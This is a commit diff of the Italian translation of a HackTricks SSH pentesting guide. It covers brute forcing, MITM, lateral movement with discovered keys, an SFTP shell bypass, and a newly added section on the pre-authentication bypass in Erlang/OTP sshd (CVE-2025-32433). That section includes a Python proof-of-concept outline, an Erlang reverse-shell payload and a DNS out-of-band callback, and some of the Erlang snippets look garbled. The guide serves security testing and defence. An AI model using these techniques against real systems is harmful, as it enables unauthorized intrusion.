mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-ssh.md'] to it
This commit is contained in:
parent
472af6c212
commit
c8f9410edc
@ -34,7 +34,7 @@ nc -vn <IP> 22
|
|||||||
|
|
||||||
ssh-audit è uno strumento per l'audit della configurazione del server e del client ssh.
|
ssh-audit è uno strumento per l'audit della configurazione del server e del client ssh.
|
||||||
|
|
||||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) è un fork aggiornato da [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) è un fork aggiornato di [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||||||
|
|
||||||
**Caratteristiche:**
|
**Caratteristiche:**
|
||||||
|
|
||||||
@ -42,10 +42,10 @@ ssh-audit è uno strumento per l'audit della configurazione del server e del cli
|
|||||||
- analizza la configurazione del client SSH;
|
- analizza la configurazione del client SSH;
|
||||||
- acquisisce banner, riconosce dispositivo o software e sistema operativo, rileva compressione;
|
- acquisisce banner, riconosce dispositivo o software e sistema operativo, rileva compressione;
|
||||||
- raccoglie algoritmi di scambio chiave, chiave host, crittografia e codice di autenticazione del messaggio;
|
- raccoglie algoritmi di scambio chiave, chiave host, crittografia e codice di autenticazione del messaggio;
|
||||||
- output delle informazioni sugli algoritmi (disponibile da, rimosso/disabilitato, non sicuro/debole/legacy, ecc);
|
- fornisce informazioni sugli algoritmi (disponibile da, rimosso/disabilitato, non sicuro/debole/legacy, ecc);
|
||||||
- output delle raccomandazioni sugli algoritmi (aggiungi o rimuovi in base alla versione del software riconosciuta);
|
- fornisce raccomandazioni sugli algoritmi (aggiungi o rimuovi in base alla versione del software riconosciuta);
|
||||||
- output delle informazioni sulla sicurezza (problemi correlati, elenco CVE assegnati, ecc);
|
- fornisce informazioni sulla sicurezza (problemi correlati, elenco CVE assegnati, ecc);
|
||||||
- analizza la compatibilità delle versioni SSH basata sulle informazioni sugli algoritmi;
|
- analizza la compatibilità della versione SSH basata sulle informazioni sugli algoritmi;
|
||||||
- informazioni storiche da OpenSSH, Dropbear SSH e libssh;
|
- informazioni storiche da OpenSSH, Dropbear SSH e libssh;
|
||||||
- funziona su Linux e Windows;
|
- funziona su Linux e Windows;
|
||||||
- nessuna dipendenza
|
- nessuna dipendenza
|
||||||
@ -75,7 +75,7 @@ $ python3 ssh-audit <IP>
|
|||||||
```bash
|
```bash
|
||||||
ssh-keyscan -t rsa <IP> -p <PORT>
|
ssh-keyscan -t rsa <IP> -p <PORT>
|
||||||
```
|
```
|
||||||
### Algoritmi di Cifratura Deboli
|
### Algoritmi di cifratura deboli
|
||||||
|
|
||||||
Questo viene scoperto per impostazione predefinita da **nmap**. Ma puoi anche usare **sslcan** o **sslyze**.
|
Questo viene scoperto per impostazione predefinita da **nmap**. Ma puoi anche usare **sslcan** o **sslyze**.
|
||||||
|
|
||||||
@ -91,9 +91,9 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
|||||||
|
|
||||||
- `ssh`
|
- `ssh`
|
||||||
|
|
||||||
## Forzatura di nomi utente, password e chiavi private
|
## Forza bruta di nomi utente, password e chiavi private
|
||||||
|
|
||||||
### Enumerazione dei nomi utente
|
### Enumerazione degli utenti
|
||||||
|
|
||||||
In alcune versioni di OpenSSH puoi effettuare un attacco temporale per enumerare gli utenti. Puoi utilizzare un modulo di metasploit per sfruttare questo:
|
In alcune versioni di OpenSSH puoi effettuare un attacco temporale per enumerare gli utenti. Puoi utilizzare un modulo di metasploit per sfruttare questo:
|
||||||
```
|
```
|
||||||
@ -113,9 +113,9 @@ O il modulo ausiliario MSF:
|
|||||||
```
|
```
|
||||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||||
```
|
```
|
||||||
Or use `ssh-keybrute.py` (python3 nativo, leggero e con algoritmi legacy abilitati): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
Or use `ssh-keybrute.py` (nativo python3, leggero e con algoritmi legacy abilitati): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||||
|
|
||||||
#### Le chiavi cattive conosciute possono essere trovate qui:
|
#### Le badkeys conosciute possono essere trovate qui:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||||
@ -123,7 +123,7 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
|||||||
|
|
||||||
#### Chiavi SSH deboli / PRNG prevedibile di Debian
|
#### Chiavi SSH deboli / PRNG prevedibile di Debian
|
||||||
|
|
||||||
Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Questo può comportare una riduzione drammatica dello spazio delle chiavi che può essere forzato. Set di chiavi pre-generate generate su sistemi Debian colpiti da PRNG deboli sono disponibili qui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Questo può comportare una riduzione drammatica dello spazio delle chiavi che può essere bruteforcato. Set di chiavi pre-generate generate su sistemi Debian colpiti da PRNG deboli sono disponibili qui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||||
|
|
||||||
Dovresti guardare qui per cercare chiavi valide per la macchina vittima.
|
Dovresti guardare qui per cercare chiavi valide per la macchina vittima.
|
||||||
|
|
||||||
@ -159,7 +159,7 @@ Se sei nella rete locale come la vittima che si connetterà al server SSH utiliz
|
|||||||
|
|
||||||
- **Reindirizzamento del traffico:** L'attaccante **dirotta** il traffico della vittima verso la propria macchina, intercettando effettivamente il tentativo di connessione al server SSH.
|
- **Reindirizzamento del traffico:** L'attaccante **dirotta** il traffico della vittima verso la propria macchina, intercettando effettivamente il tentativo di connessione al server SSH.
|
||||||
- **Intercettazione e registrazione:** La macchina dell'attaccante funge da **proxy**, **catturando** i dettagli di accesso dell'utente fingendo di essere il legittimo server SSH.
|
- **Intercettazione e registrazione:** La macchina dell'attaccante funge da **proxy**, **catturando** i dettagli di accesso dell'utente fingendo di essere il legittimo server SSH.
|
||||||
- **Esecuzione dei comandi e inoltro:** Infine, il server dell'attaccante **registra le credenziali dell'utente**, **inoltra i comandi** al vero server SSH, **li esegue** e **invia i risultati** all'utente, facendo sembrare il processo fluido e legittimo.
|
- **Esecuzione dei comandi e inoltro:** Infine, il server dell'attaccante **registra le credenziali dell'utente**, **inoltra i comandi** al vero server SSH, **li esegue** e **invia i risultati** all'utente, facendo apparire il processo fluido e legittimo.
|
||||||
|
|
||||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) fa esattamente ciò che è descritto sopra.
|
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) fa esattamente ciò che è descritto sopra.
|
||||||
|
|
||||||
@ -172,7 +172,7 @@ Se desideri attraversare una rete utilizzando chiavi private SSH scoperte sui si
|
|||||||
SSH-Snake esegue automaticamente e ricorsivamente le seguenti operazioni:
|
SSH-Snake esegue automaticamente e ricorsivamente le seguenti operazioni:
|
||||||
|
|
||||||
1. Sul sistema attuale, trova eventuali chiavi private SSH,
|
1. Sul sistema attuale, trova eventuali chiavi private SSH,
|
||||||
2. Sul sistema attuale, trova eventuali host o destinazioni (user@host) che le chiavi private possono accettare,
|
2. Sul sistema attuale, trova eventuali host o destinazioni (user@host) che potrebbero accettare le chiavi private,
|
||||||
3. Tenta di SSH in tutte le destinazioni utilizzando tutte le chiavi private scoperte,
|
3. Tenta di SSH in tutte le destinazioni utilizzando tutte le chiavi private scoperte,
|
||||||
4. Se una destinazione è connessa con successo, ripete i passaggi #1 - #4 sul sistema connesso.
|
4. Se una destinazione è connessa con successo, ripete i passaggi #1 - #4 sul sistema connesso.
|
||||||
|
|
||||||
@ -191,13 +191,13 @@ SSH-Snake esegue automaticamente e ricorsivamente le seguenti operazioni:
|
|||||||
3. **Ricarica la configurazione** utilizzando: `sudo systemctl daemon-reload`
|
3. **Ricarica la configurazione** utilizzando: `sudo systemctl daemon-reload`
|
||||||
4. **Riavvia il server SSH** per applicare le modifiche: `sudo systemctl restart sshd`
|
4. **Riavvia il server SSH** per applicare le modifiche: `sudo systemctl restart sshd`
|
||||||
|
|
||||||
### SFTP Brute Force
|
### Forza bruta SFTP
|
||||||
|
|
||||||
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
|
- [**Forza bruta SFTP**](../generic-hacking/brute-force.md#sftp)
|
||||||
|
|
||||||
### Esecuzione di comandi SFTP
|
### Esecuzione di comandi SFTP
|
||||||
|
|
||||||
C'è una comune svista che si verifica con le configurazioni SFTP, dove gli amministratori intendono che gli utenti scambino file senza abilitare l'accesso alla shell remota. Nonostante impostino gli utenti con shell non interattive (ad esempio, `/usr/bin/nologin`) e li confinino in una directory specifica, rimane una falla di sicurezza. **Gli utenti possono eludere queste restrizioni** richiedendo l'esecuzione di un comando (come `/bin/bash`) immediatamente dopo il login, prima che la loro shell non interattiva designata prenda il controllo. Questo consente l'esecuzione non autorizzata di comandi, minando le misure di sicurezza previste.
|
C'è una comune svista che si verifica con le configurazioni SFTP, dove gli amministratori intendono che gli utenti scambino file senza abilitare l'accesso alla shell remota. Nonostante impostino gli utenti con shell non interattive (ad es., `/usr/bin/nologin`) e li confinino in una directory specifica, rimane una falla di sicurezza. **Gli utenti possono eludere queste restrizioni** richiedendo l'esecuzione di un comando (come `/bin/bash`) immediatamente dopo il login, prima che la loro shell non interattiva designata prenda il controllo. Questo consente l'esecuzione non autorizzata di comandi, minando le misure di sicurezza previste.
|
||||||
|
|
||||||
[Esempio da qui](https://community.turgensec.com/ssh-hacking-guide/):
|
[Esempio da qui](https://community.turgensec.com/ssh-hacking-guide/):
|
||||||
```bash
|
```bash
|
||||||
@ -259,13 +259,13 @@ OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
|||||||
...
|
...
|
||||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||||
```
|
```
|
||||||
Ad esempio, se è impostato un limite di errore di autenticazione e non hai mai la possibilità di accedere al metodo della password, puoi utilizzare l'opzione `PreferredAuthentications` per forzare l'uso di questo metodo.
|
Ad esempio, se è impostato un limite di errori di autenticazione e non hai mai la possibilità di accedere al metodo della password, puoi utilizzare l'opzione `PreferredAuthentications` per forzare l'uso di questo metodo.
|
||||||
```bash
|
```bash
|
||||||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||||
...
|
...
|
||||||
debug1: Next authentication method: password
|
debug1: Next authentication method: password
|
||||||
```
|
```
|
||||||
Esaminare la configurazione del server SSH è necessario per verificare che siano autorizzati solo i metodi previsti. Utilizzare la modalità verbosa sul client può aiutare a vedere l'efficacia della configurazione.
|
Controllare la configurazione del server SSH è necessario per verificare che siano autorizzati solo i metodi previsti. Utilizzare la modalità verbosa sul client può aiutare a vedere l'efficacia della configurazione.
|
||||||
|
|
||||||
### Config files
|
### Config files
|
||||||
```bash
|
```bash
|
||||||
@ -281,10 +281,66 @@ id_rsa
|
|||||||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||||||
|
|
||||||
|
## Bypass della Macchina a Stati dell'Autenticazione (RCE Pre-Auth)
|
||||||
|
|
||||||
|
Diverse implementazioni del server SSH contengono difetti logici nella **macchina a stati finiti per l'autenticazione** che consentono a un client di inviare messaggi *protocollo di connessione* **prima** che l'autenticazione sia completata. Poiché il server non verifica di essere nello stato corretto, quei messaggi vengono gestiti come se l'utente fosse completamente autenticato, portando a **esecuzione di codice non autenticato** o creazione di sessioni.
|
||||||
|
|
||||||
|
A livello di protocollo, qualsiasi messaggio SSH con un _codice messaggio_ **≥ 80** (0x50) appartiene allo strato *connessione* (RFC 4254) e deve **essere accettato solo dopo un'autenticazione riuscita** (RFC 4252). Se il server elabora uno di quei messaggi mentre è ancora nello stato *SSH_AUTHENTICATION*, l'attaccante può immediatamente creare un canale e richiedere azioni come l'esecuzione di comandi, il port forwarding, ecc.
|
||||||
|
|
||||||
|
### Passi Generali di Sfruttamento
|
||||||
|
1. Stabilire una connessione TCP alla porta SSH del target (comunemente 22, ma altri servizi possono esporre Erlang/OTP su 2022, 830, 2222…).
|
||||||
|
2. Creare un pacchetto SSH raw:
|
||||||
|
* 4-byte **packet_length** (big-endian)
|
||||||
|
* 1-byte **message_code** ≥ 80 (ad es. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||||
|
* Payload che sarà compreso dal tipo di messaggio scelto
|
||||||
|
3. Inviare il pacchetto(i) **prima di completare qualsiasi passo di autenticazione**.
|
||||||
|
4. Interagire con le API del server che ora sono esposte _pre-auth_ (esecuzione di comandi, port forwarding, accesso al file system, …).
|
||||||
|
|
||||||
|
Outline del proof-of-concept in Python:
|
||||||
|
```python
|
||||||
|
import socket, struct
|
||||||
|
HOST, PORT = '10.10.10.10', 22
|
||||||
|
s = socket.create_connection((HOST, PORT))
|
||||||
|
# skip version exchange for brevity – send your own client banner then read server banner
|
||||||
|
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
|
||||||
|
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
|
||||||
|
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||||||
|
s.sendall(pkt)
|
||||||
|
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||||
|
```
|
||||||
|
In pratica, sarà necessario eseguire (o saltare) lo scambio di chiavi in base all'implementazione target, ma **nessuna autenticazione** viene mai eseguita.
|
||||||
|
|
||||||
|
---
|
||||||
|
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||||
|
* **Versioni interessate:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||||
|
* **Causa principale:** il demone SSH nativo di Erlang non convalida lo stato attuale prima di invocare `ssh_connection:handle_msg/2`. Pertanto, qualsiasi pacchetto con un codice messaggio da 80 a 255 raggiunge il gestore della connessione mentre la sessione è ancora nello stato *userauth*.
|
||||||
|
* **Impatto:** **esecuzione di codice remoto** non autenticata (il demone di solito viene eseguito come **root** su dispositivi embedded/OT).
|
||||||
|
|
||||||
|
Esempio di payload che genera una shell inversa legata al canale controllato dall'attaccante:
|
||||||
|
```erlang
|
||||||
|
% open a channel first … then:
|
||||||
|
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||||
|
```
|
||||||
|
Blind RCE / rilevamento out-of-band può essere eseguito tramite DNS:
|
||||||
|
```erlang
|
||||||
|
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||||
|
```
|
||||||
|
Rilevamento e Mitigazione:
|
||||||
|
* Ispezionare il traffico SSH: **scartare qualsiasi pacchetto con codice messaggio ≥ 80 osservato prima dell'autenticazione**.
|
||||||
|
* Aggiornare Erlang/OTP a **27.3.3 / 26.2.5.11 / 25.3.2.20** o versioni successive.
|
||||||
|
* Limitare l'esposizione delle porte di gestione (22/2022/830/2222) – specialmente su attrezzature OT.
|
||||||
|
|
||||||
|
---
|
||||||
|
### Altre Implementazioni Colpite
|
||||||
|
* **libssh** 0.6 – 0.8 (lato server) – **CVE-2018-10933** – accetta un `SSH_MSG_USERAUTH_SUCCESS` non autenticato inviato dal client, effettivamente il difetto logico inverso.
|
||||||
|
|
||||||
|
La lezione comune è che qualsiasi deviazione dalle transizioni di stato richieste dal RFC può essere fatale; quando si esaminano o si fuzzano i demoni SSH, prestare particolare attenzione all'*applicazione della macchina a stati*.
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
|
|
||||||
- Puoi trovare guide interessanti su come rinforzare SSH in [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
|
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||||
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
- [Guide di hardening SSH](https://www.ssh-audit.com/hardening_guides.html)
|
||||||
|
- [Guida al hacking SSH di Turgensec](https://community.turgensec.com/ssh-hacking-guide)
|
||||||
|
|
||||||
## HackTricks Comandi Automatici
|
## HackTricks Comandi Automatici
|
||||||
```
|
```
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user